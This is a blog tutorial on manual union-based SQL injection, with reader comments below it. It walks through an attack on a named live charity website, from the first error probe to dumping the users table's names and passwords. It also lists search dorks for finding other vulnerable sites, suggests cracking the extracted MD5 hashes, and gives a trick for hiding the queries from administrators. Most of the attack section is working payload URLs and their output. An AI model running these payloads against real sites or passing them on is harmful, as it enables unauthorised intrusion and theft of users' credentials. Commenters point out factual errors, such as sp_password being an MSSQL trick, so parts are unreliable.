Pin It

SQL Injection Basics - Union Based [Detailed Tutorial]


Well, I would not be blogging about some thing new, however, it was missing at RHA for a long long time, thought there are tools out there to carry out all sorts of SQL Injection attacks however if you don't know what your tool is exactly doing at the backend then it's useless and the best way to learn according to me is doing it manually. As there is a saying that "A fool with a tool is always a fool", With that being said, i would like to summarize what i would be talking about in this post. Basically, i would be targeting a live website that is known to be vulnerable to SQL Injection, i have reported them many times, however they don't care so therefore i am making a full disclosure. Also in this post i would not be explaining what a SQL injection is (In Detail), because i feel that there are tons and tons of websites that have already written about it. However, i would talk more about the testing process.

What Is SQL Injection?

SQL Injection is one of the most commonly found vulnerabilities present on the web, It holds the number one place in Owasp Top 10. A SQL Injection can be defined as an attack in which we append SQL queries in order to extract the data present in the database. This normally occurs due to lack of input validation. SQL Injection can also commonly used by attackers to bypass authentication, however here, we would focus on Data extraction with SQL Injection.

Finding A Vulnerable Website

In order to begin with this tutorial, you would need a vulnerable website. Either, you could use the one, which i would be mentioning in this tutorial, or you could find your own. You could use variety of google dorks for this purpose. Here are some of the common dorks to find a SQL Injection vulnerability:

inurl:/general.php?*id=*
inurl:/careers-detail.asp?id=
inurl:/WhatNew.asp?page=&id=
inurl:/gallery.asp?cid=
inurl:/publications.asp?type=
inurl:/mpfn=pdview&id=
inurl:/reservations.php?id=
inurl:/list_blogs.php?sort_mode=
inurl:/eventdetails.php?*=
inurl:/commodities.php?*id=
inurl:/recipe-view.php?id=
inurl:product.php?mid=
inurl:view_ad.php?id=
inurl:/imprimir.php?id=
inurl:/prodotti.php?id=
inurl:index.cgi?aktion=shopview
inurl:/default.php?id=
inurl:/default.php?portalID=
inurl:/*.php?id=
inurl:/articles.php?id=
inurl:/os_view_full.php?
inurl:/Content.asp?id=
inurl:/CollectionContent.asp?id=

Alternatively to save your self some time, you could use a neat tool called "Xcode Exploit Scanner"  which would use built in dorks in order to find a SQL injection vulnerability.

Testing For SQL Injection

http://www.outreachforyouth.org/description.php?recordID=1

We would test the above website for a SQL injection vulnerability. Which could clearly from the url that recordID parameter is accepting the input, these places are more likely to have a sql injection vulnerability as there are chances that the input validation is not performed. So in order to test for a SQL Injection vulnerability, we would insert a ', after the input, this would break the query. Depending upon the database, we would get different types of errors.

On appending the ', we get an error:

Request: http://www.outreachforyouth.org/description.php?recordID=1' 

we get the following error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


Determining The Number Of Columns:


In Mysql, an order by command is used to order a sequence in a particular order, here we would be using an order by command to determine the number of columns. Our first request would look like:

http://www.outreachforyouth.org/description.php?recordID=1 order by 1--

The page loads fine.

We would keep increasing the order by command number until we get an error, which would usually be something like "Unknown column in 'order clause'" or something similar to it. So in this case

http://www.outreachforyouth.org/description.php?recordID=1 order by 1-- No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 2-- No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 3-- No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 4-No error http://www.outreachforyouth.org/description.php?recordID=1 order by 6--No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 7--No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 8--No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 9--
No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 10--No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 11--No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 12--Error

Hence we conclude that the number of columns are 11. 

String Method

In above example, the column count were found by integer method. However, sometimes, we would need to use string method in order to find columns count, In that case, no matter how you much you increase the order count the page will load fine, in those cases, you would keep the ' appended when determining the column count.

Example:

http://www.outreachforyouth.org/description.php?recordID=1' order by 11--


Finding A Vulnerable Coulmn


Next, we would need to find the vulnerable column, which would be used to extract data from the database. We would use a Union command, which is the combination of two select statements in order to extract the data. Along with it, we will also place a negative sign just after the equal sign.

Example

http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,4,5,6,7,8,9,10,11--


So, as you can look at the above picture is that we see 3,4 and 6th column on the page. This shows us that these particular columns are being used to display information on the webpage and can be used to extract information from the database.


Other Methods

http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,4,5,6,7,8,9,10,11--
http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 Union all select 1,2,3,4,5,6,7,8,9,10,11--
http://www.outreachforyouth.org/description.php?recordID=Null Union all select 1,2,3,4,5,6,7,8,9,10,11--


Fingerprinting The Database

The next step would be to use the vulnerable column in order to finger print the database. We would use the following commands.

user() - Shows the current user.
version() - Displays the database version (Super Important)
database() - Displays the name of the database.

Let's finger print the database information.

Example:

http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,version(),5,6,7,8,9,10,11--
http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,user(),5,6,7,8,9,10,11--
http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,database(),5,6,7,8,9,10,11--

Extracted Information

Database Version: 5.1.66-cll
User: outreach_db_user@localhost
Database: outreach5



We are lucky that we have version 5 here, therefore it's possible for us to extract the table names, however, if the version would have been less than 5, we would had to guess the table names, because in mysql version 4, there is no information_schema which links all the databases.


Extracting The Table Names


Now, we add queries to extract the table names from the current database, we would use group_concat inside the vulnerable column order to extract all the tables.

Note: If we would just use concat, we would be able to extract only one table name.  

Example

http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11 from information_schema.tables




















This would extract all the table names. However most of them would be unimportant for us, we are in search for the tables such as users, administrators etc. So therefore to filter out our search to only extract tables from the current database.

Example

http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()--




Extracted Tables

churchtestimonies,description,testimonies,users


We have successfully extracted four tables, however the most important data would be contained inside the users tables.


Converting The Table Names To Hex Or Mysql Char


Most of the times the table names would not work when extracting data from a table, therefore i would recommend you to either convert the table_names to hex or my sql char. You can google for online tools or use hackbar in order to convert.

Hex Equivalent:

User = 0x5573657273

Mysql Char Equivalnet:

User = CHAR(117, 115, 101, 114, 115)

So now our query would become:

Example

http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11 from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115)--

So, what the above query is asking is to return all the columns in table from information_schema.columns where the table name is the char equivalent of users.



So, three columns were returned inside the users table:

id, name, password. 

Now it's time to extract the id, name and password from the users table.

Our final query would be:

Example

http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,concat(id,name,password),5,6,7,8,9,10,11 from users--

So, in the above query we are just asking the database for the data behind the id, name and password from the table users. You may have noticed that we used concat here instead of group_concat, this is because, we wanted just to extract the password for the first user which is most of the times the administrator.



In order to format it well, we can use table exits.

Example:


http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,concat(id,0x3a ,name,0x3a,password,0x3a),5,6,7,8,9,10,11 from users--

So finally we have extracted the username and password from the database. Some websites store the passwords in form of hashes, you would mostly see MD5 hashes, if you come across a MD5 hash, You can use tons of services online to decrypt the hash. My favorite is Md5 decrpyter (http://www.md5decrypter.co.uk/) , it contains list of more than 8.7 billion decrypted passwords. Alternatively, you can also perform brute force or dictionary attacks using a tool called PasswordsPro, You could also launch a GPU based password cracking attack by using a tool called OCI hash cat.


Hiding Queries From The Administrators

In order to avoid administrators noticing the attack, we would need to append sp_password at the end of the query. Here is the query:

Example:

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,user(),5,6,7,8,9,10,11-- sp_password

Queries Summary



Vulnerability

http://www.outreachforyouth.org/description.php?recordID=1'

Determining the number of Columns

http://www.outreachforyouth.org/description.php?recordID=1 order by 1,2,3,4,5,6,7,8,9,10,11--

Union Comman to find vulnerale Columns

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,4,5,6,7,8,9,10,11--

Version Detection 

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,@@version,5,6,7,8,9,10,11--

User detection

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,user(),5,6,7,8,9,10,11-- sp_password

Database 

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,database(),5,6,7,8,9,10,11--

Database Version: 5.0.675
User: outreach_db_user@localhost
Database: outreach5

Extracting the tables 

http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11 from information_schema.columns where table_name=users()--

Table
churchtestimonies,description,testimonies,users

Extracting Passwords Using Table Exits

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,concat(id),5,6,7,8,9,10,11 from users--

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,concat(id,0x3a ,name,0x3a,password,0x3a),5,6,7,8,9,10,11 from users--

So this concludes this post, I would try to cover other advanced techniques such as time based techniques for SQL injection in my upcoming posts.

Update: We have just released the second part of the series on "Blind SQL Injection" detection and exploitation techniques, if you interested in learning more about SQL injection than it's worth taking a look at it. 

Subscribe to our Newsletter and receive updates directly via email - Get Ethical hacking and security tips directly to your inbox. Alternatively you can Join our Hackers Community on Facebook , Google+ and Twitter .

At RHA Infosec we provide different types of Security Testing from small business sites to Corporate Sites. Click Here to know more about our complete list of services.

Subscribe to RHA


Enjoyed this article?
Subscribe to "Rafay Hacking Articles" and get daily updates in your inbox for free!


Tags:


Kindly Bookmark it and Share it with Friends:

10 comments :

MMMTheHacker said...

Super cool tutorial.Nice work dude.Waiting for more.BTW are you in Karachi??

windows live on February 9, 2013 at 3:23 AM said...

Rafay,

Great Articles and few questions

1) After following line in article
Hence we conclude that the numbers of columns are 11.
String Method , could not understand what you trying to say

http://www.outreachforyouth.org/description.php?recordID=1' order by 11--

2) We wanted just to extract the password for the first user which is always the administrator.
It might not be the case, "always the administrator" can be wrong for many websites, databases . What you say?

3) About sp_password you should tell uses that “Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure. “
Also, sp_password is for mssql server as far as I know or its also for my sql as well , let me know please ?

Thanks,

windows live on February 9, 2013 at 3:24 AM said...

Rafay,

Great Articles and few questions

1) After following line in article
Hence we conclude that the numbers of columns are 11.
String Method , could not understand what you trying to say

http://www.outreachforyouth.org/description.php?recordID=1' order by 11--

2) We wanted just to extract the password for the first user which is always the administrator.
It might not be the case, "always the administrator" can be wrong for many websites, databases . What you say?

3) About sp_password you should tell uses that “Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure. “

Also, sp_password is for mssql server as far as I know or its also for my sql as well , let me know please ?

Thanks,

MMMTheHacker said...

Hey "Windows Live".About your first question.The query is actually written as

http://www.outreachforyouth.org/description.php?recordID=1' order by 11--+

Note the + sign in the end.It's used when "order by" doesn't work.
Note:The maximum column count will be "50".If the site works fine even after 50 (for example: order by 51--) it means you have to use this query(id=whatever' order by 11--+).

About your second question.Yes the user in not always the admin.

About your third question.I don't know and I never used this query.

Rafay Baloch on February 10, 2013 at 2:16 AM said...


1) After following line in article
Hence we conclude that the numbers of columns are 11.
String Method , could not understand what you trying to say

http://www.outreachforyouth.org/description.php?recordID=1' order by 11--

Well, I will quote two examples that would clear the difference between integer based and string based method.

Integer Based:
http://www.outreachforyouth.org/description.php?recordID=1 order by 11--

String Based:
http://www.outreachforyouth.org/description.php?recordID=1' order by 11--

2) We wanted just to extract the password for the first user which is always the administrator.
It might not be the case, "always the administrator" can be wrong for many websites, databases . What you say?

That's where we use group_concat to extract all users.

3) About sp_password you should tell uses that “Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure. “

Yes it still works.
Also, sp_password is for mssql server as far as I know or its also for my sql as well , let me know please ?

windows live on February 12, 2013 at 5:38 AM said...

@MMMTheHacker & @Rafay

Thanks for the explanation for first question , however I'll need to explore it in detail.

@Rafay
at question 2 ) I'm saying that your statement is wrong that
"We wanted just to extract the password for the first user which is always the administrator."
and Yes we should use group_concat but above statement is wrong that admin will be the first record always.

I asked at question 3 this is MSSQL not for my sql

Thanks

MMMTheHacker on February 12, 2013 at 8:39 AM said...

"Windows live" I answered your second question."The first user is not always the admin".Rafay plz correct this.Thank you.And I read your interview on ehackingnews.So, Bahria University hmmm.What was your % in Fsc??

Rafay Baloch on February 12, 2013 at 11:14 AM said...

The first user is most of the times admin. In most cases, not always. Regarding the article, i did not proof read it properly and humans are prone to errors and mistakes and a real man always admits his mistakes.

windows live on February 12, 2013 at 9:25 PM said...

Rafay,

Thanks that you admint :) , is this article written by You or someone else ?

Also , I asked at question 3 this is MSSQL not for my sql

Master Zombiee on July 6, 2013 at 5:52 AM said...

Good One :)

Dare to ask? :)

Blog Archive

 

Recent Comments

About

Rafay Baloch is an Independent security researcher, Internet marketer, Entrepreneur and a SEO consultant, He is the founder of RHA blog and multiple other blogs. Rafay got famous after finding a Remote Code Execution bug inside PayPal for which PayPal awarded him a sum of 10,000$ Read More..

Join In!

RHA © 2013. All Rights Reserved.